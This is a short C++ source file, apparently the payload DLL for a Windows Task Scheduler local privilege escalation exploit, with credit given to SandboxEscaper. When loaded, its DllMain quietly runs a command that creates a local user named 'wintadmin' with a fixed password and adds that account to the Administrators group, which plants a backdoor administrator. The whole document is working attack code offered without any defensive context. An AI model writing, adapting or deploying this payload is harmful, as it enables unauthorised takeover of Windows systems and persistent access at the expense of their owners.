TaskSched payload.dll for LPE

dllmain.cpp

#include <windows.h>
// All Credit goes to SandboxEscaper
BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		WinExec("cmd.exe /C net user wintadmin Password6789 /add && net localgroup administrators wintadmin /add >NUL 2>&1", 0);
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}